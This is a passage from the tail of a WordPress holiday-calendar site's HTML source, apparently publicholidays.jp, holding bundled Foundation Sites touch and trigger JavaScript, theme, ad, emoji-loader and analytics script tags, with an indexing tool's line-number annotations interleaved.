document.documentElement;\n    this.preventDefault = false;\n    this.moveThreshold = 75;\n    this.timeThreshold = 200;\n    this._init();\n  }\n  _createClass(SpotSwipe, [{\n    key: \"_init\",\n    value: function _init() {\n      (jquery__WEBPACK_IMPORTED_MODULE_0___default().event).special.swipe = {\n        setup: init\n      };\n      (jquery__WEBPACK_IMPORTED_MODULE_0___default().event).special.tap = {\n        setup: init\n      };\n      jquery__WEBPACK_IMPORTED_MODULE_0___default().each(['left', 'up', 'down', 'right'], function () {\n        (jquery__WEBPACK_IMPORTED_MODULE_0___default().event).special[\"swipe\".concat(this)] = {\n          setup: function setup() {\n            jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).on('swipe', (jquery__WEBPACK_IMPORTED_MODULE_0___default().noop));\n          }\n        };\n      });\n    }\n  }]);\n  return SpotSwipe;\n}();\n/****************************************************\n * As far as I can tell, both 
525setupSpotSwipe and    *\n * setupTouchHandler should be idempotent,          *\n * because they directly replace functions &        *\n * values, and do not add event handlers directly.  *\n ****************************************************/\nTouch.setupSpotSwipe = function () {\n  (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe) = new SpotSwipe((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n};\n\n/****************************************************\n * Method for adding pseudo drag events to elements *\n ***************************************************/\nTouch.setupTouchHandler = function () {\n  (jquery__WEBPACK_IMPORTED_MODULE_0___default().fn).addTouch = function () {\n    this.each(function (i, el) {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).bind('touchstart touchmove touchend touchcancel', function (event) {\n        //we pass the original event object because the jQuery event\n        //object is normalized to w3c specs and does not provide the TouchList\n        handleTouch(event);\n      });\n    });\n    var handleTouch = function handleTouch(event) {\n      var touches = event.changedTouches,\n        first = touches[0],\n        eventTypes = {\n          touchstart: 'mousedown',\n          touchmove: 'mousemove',\n          touchend: 'mouseup'\n        },\n        type = eventTypes[event.type],\n        simulatedEvent;\n      if ('MouseEvent' in window && typeof window.MouseEvent === 'function') {\n        simulatedEvent = new window.MouseEvent(type, {\n          'bubbles': true,\n          'cancelable': true,\n          'screenX': first.screenX,\n          'screenY': first.screenY,\n          'clientX': first.clientX,\n          'clientY': first.clientY\n        });\n      } else {\n        simulatedEvent = document.createEvent('MouseEvent');\n        simulatedEvent.initMouseEvent(type, true, true, window, 1, first.screenX, first.screenY, first.clientX, first.clientY, false, false, false, false, 0 /*left*/, null);\n      }\n      first.target.dispatchEvent(simulatedEvent);\n    };\n  };\n};\nTouch.init = function () {\n  if (typeof (jquery__WEBPACK_IMPORTED_MODULE_0___default().spotSwipe) === 'undefined') {\n    Touch.setupSpotSwipe((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n    Touch.setupTouchHandler((jquery__WEBPACK_IMPORTED_MODULE_0___default()));\n  }\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.touch.js?")},"./js/foundation.util.triggers.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Triggers: function() { return /* binding */ Triggers; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\n\n\n\nvar MutationObserver = function () {\n  var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n  for (var i = 0; i < prefixes.length; i++) {\n    if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n      return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n    }\n  }\n  return false;\n}();\nvar triggers = function triggers(el, type) {\n  el.data(type).split(' ').forEach(function (id) {\n    jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n  });\n};\nvar Triggers = {\n  Listeners: {\n    Basic: {},\n    Global: {}\n  }
525,\n  Initializers: {}\n};\nTriggers.Listeners.Basic = {\n  openListener: function openListener() {\n    triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n  },\n  closeListener: function closeListener() {\n    var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n    if (id) {\n      triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n    } else {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n    }\n  },\n  toggleListener: function toggleListener() {\n    var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n    if (id) {\n      triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n    } else {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n    }\n  },\n  closeableListener: function closeableListener(e) {\n    var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n    // Only close the first closable element. See https://git.io/zf-7833\n    e.stopPropagation();\n    if (animation !== '') {\n      _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__.Motion.animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n      });\n    } else {\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n    }\n  },\n  toggleFocusListener: function toggleFocusListener() {\n    var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n    jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n  }\n};\n\n// Elements with [data-open] will reveal a plugin that supports it when clicked.\nTriggers.Initializers.addOpenListener = function ($elem) {\n  $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n  $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n};\n\n// Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\nTriggers.Initializers.addCloseListener = function ($elem) {\n  $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n  $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n};\n\n// Elements with [data-toggle] will toggle a plugin that supports it when clicked.\nTriggers.Initializers.addToggleListener = function ($elem) {\n  $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n  $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n};\n\n// Elements with [data-closable] will respond to close.zf.trigger events.\nTriggers.Initializers.addCloseableListener = function ($elem) {\n  $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n  $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n};\n\n// Elements with [data-toggle-focus] will respond to coming in and out of focus\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n  $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n  $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n};\n\n// More Global/complex listeners and triggers\nTriggers.Listeners.Global = {\n  resizeListener: function resizeListener($nodes) {\n    if (!MutationObserver) {\n      //fallback for IE 9\n      $nodes.each(function () {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n      });\n    }\n    //trigger all listening elements and signal a resize event\n    $nodes.attr('data-events', \"resize\");\n  },\n  scrollListener: function scrollListener($nodes) {\n    if (!MutationObserver) {\n      //fallback for IE 9\n      $nodes.each(function () {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n      });\n    }\n    //trigger all listening elements and signal a scroll event\n    $nodes.attr('data-events', \"scroll\");\n  },\n  closeMeListener: function closeMeListener(e, pluginId) {\n    var plugin = e.namespace.split('.')[0];\n    var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n    plugins.each(function () {\n      var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n      _this.triggerHandler('close.zf.trigger', [_this]);\n    });\n  }\n};
525\n\n// Global, parses whole document.\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n  var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n    plugNames = ['dropdown', 'tooltip', 'reveal'];\n  if (pluginName) {\n    if (typeof pluginName === 'string') {\n      plugNames.push(pluginName);\n    } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n      plugNames = plugNames.concat(pluginName);\n    } else {\n      console.error('Plugin names must be strings');\n    }\n  }\n  if (yetiBoxes.length) {\n    var listeners = plugNames.map(function (name) {\n      return \"closeme.zf.\".concat(name);\n    }).join(' ');\n    jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n  }\n};\nfunction debounceGlobalListener(debounce, trigger, listener) {\n  var timer,\n    args = Array.prototype.slice.call(arguments, 3);\n  jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(trigger, function () {\n    if (timer) {\n      clearTimeout(timer);\n    }\n    timer = setTimeout(function () {\n      listener.apply(null, args);\n    }, debounce || 10); //default time to emit scroll event\n  });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n  var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n  if ($nodes.length) {\n    debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n  }\n};\nTriggers.Initializers.addScrollListener = function (debounce) {\n  var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n  if ($nodes.length) {\n    debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n  }\n};\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n  if (!MutationObserver) {\n    return false;\n  }\n  var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]');\n\n  //element callback\n  var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n    var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target);\n\n    //trigger the event handler for the element depending on type\n    switch (mutationRecordsList[0].type) {\n      case \"attributes\":\n        if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n          $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n        }\n        if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n          $target.triggerHandler('resizeme.zf.trigger', [$target]);\n        }\n        if (mutationRecordsList[0].attributeName === \"style\") {\n          $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n          $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n        }\n        break;\n      case \"childList\":\n        $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n        $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n        break;\n      default:\n        return false;\n      //nothing\n    }\n  };\n\n  if ($nodes.length) {\n    //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n    for (var i = 0; i <= $nodes.length - 1; i++) {\n      var elementObserver = new MutationObserver(listeningElementsMutation);\n      elementObserver.observe($nodes[i], {\n        attributes: true,\n        childList: true,\n        characterData: false,\n        subtree: true,\n        attributeFilter: [\"data-events\", \"style\"]\n      });\n    }\n  }\n};\nTriggers.Initializers.addSimpleListeners = function () {\n  var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n  Triggers.Initializers.addOpenListener($document);
525\n  Triggers.Initializers.addCloseListener($document);\n  Triggers.Initializers.addToggleListener($document);\n  Triggers.Initializers.addCloseableListener($document);\n  Triggers.Initializers.addToggleFocusListener($document);\n};\nTriggers.Initializers.addGlobalListeners = function () {\n  var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n  Triggers.Initializers.addMutationEventsListener($document);\n  Triggers.Initializers.addResizeListener(250);\n  Triggers.Initializers.addScrollListener();\n  Triggers.Initializers.addClosemeListener();\n};\nTriggers.init = function (__, Foundation) {\n  (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n    if ((jquery__WEBPACK_IMPORTED_MODULE_0___default().triggersInitialized) !== true) {\n      Triggers.Initializers.addSimpleListeners();\n      Triggers.Initializers.addGlobalListeners();\n      (jquery__WEBPACK_IMPORTED_MODULE_0___default().triggersInitialized) = true;\n    }\n  });\n  if (Foundation) {\n    Foundation.Triggers = Triggers;\n    // Legacy included to be backwards compatible for now.\n    Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n  }\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.util.triggers.js?")},jquery:function(e){e.exports=__WEBPACK_EXTERNAL_MODULE_jquery__}},__webpack_module_cache__={};function __webpack_require__(e){var n=__webpack_module_cache__[e];return void 0!==n||(n=__webpack_module_cache__[e]={exports:{}},__webpack_modules__[e](n,n.exports,__webpack_require__)),n.exports}__webpack_require__.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return __webpack_require__.d(n,{a:n}),n},__webpack_require__.d=function(e,n){for(var t in n)__webpack_require__.o(n,t)&&!__webpack_require__.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:n[t]})},__webpack_require__.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__=__webpack_require__("./custom-build/js/vendor/foundation.js");return __webpack_exports__}()});</script>
525<script id="functions-js" src="https://publicholidays.jp/wp-content/themes/bb-phg/js/functions.js?ver=1770749925"></script>
vendor: 1 bytes, line 525
525
526<script id="lazy-load-js" src="https://publicholidays.jp/wp-content/themes/bb-phg/js/lazy-images.js?ver=7.1"></script>
vendor: 1 bytes, line 526
526
527<script id="phg-related-links-js" src="https://publicholidays.jp/wp-content/themes/bb-phg/js/related-links.js?ver=1770749925"></script>
vendor: 1 bytes, line 527
527
528<script id="q2w3_fixed_widget-js" src="https://publicholidays.jp/wp-content/themes/bb-phg/plugins/q2w3-fixed-widget/js/q2w3-fixed-widget.min.js?ver=5.0.4"></script>
vendor: 1 bytes, line 528
528
529<script id="dfp-js" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?ver=7.1"></script>
vendor: 1 bytes, line 529
529
530<script id="phg-lazy-load-ads-js-extra">
531var phg_lazy_load_ads = [];
532//# sourceURL=phg-lazy-load-ads-js-extra
533</script>
vendor: 1 bytes, line 533
533
534<script id="phg-lazy-load-ads-js" src="https://publicholidays.jp/wp-content/themes/bb-phg/js/lazy-load-ads.js?ver=7.1"></script>
vendor: 1 bytes, line 534
534
535<script id="wp-emoji-settings" type="application/json">
536{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://publicholidays.jp/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
537</script>
vendor: 1 bytes, line 537
537
538<script type="module">
539/*! This file is auto-generated */
540var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
541//# sourceURL=https://publicholidays.jp/wp-includes/js/wp-emoji-loader.min.js
542</script>
542
543        
543<script>
544var zurb = jQuery.noConflict();
545
546zurb(document).foundation();
547        </script>
547
548	
548<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"67970f0f0d954df3a1c0ab5b77937e7f","spa":2}' crossorigin="anonymous"></script>
548
549</body>
550</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.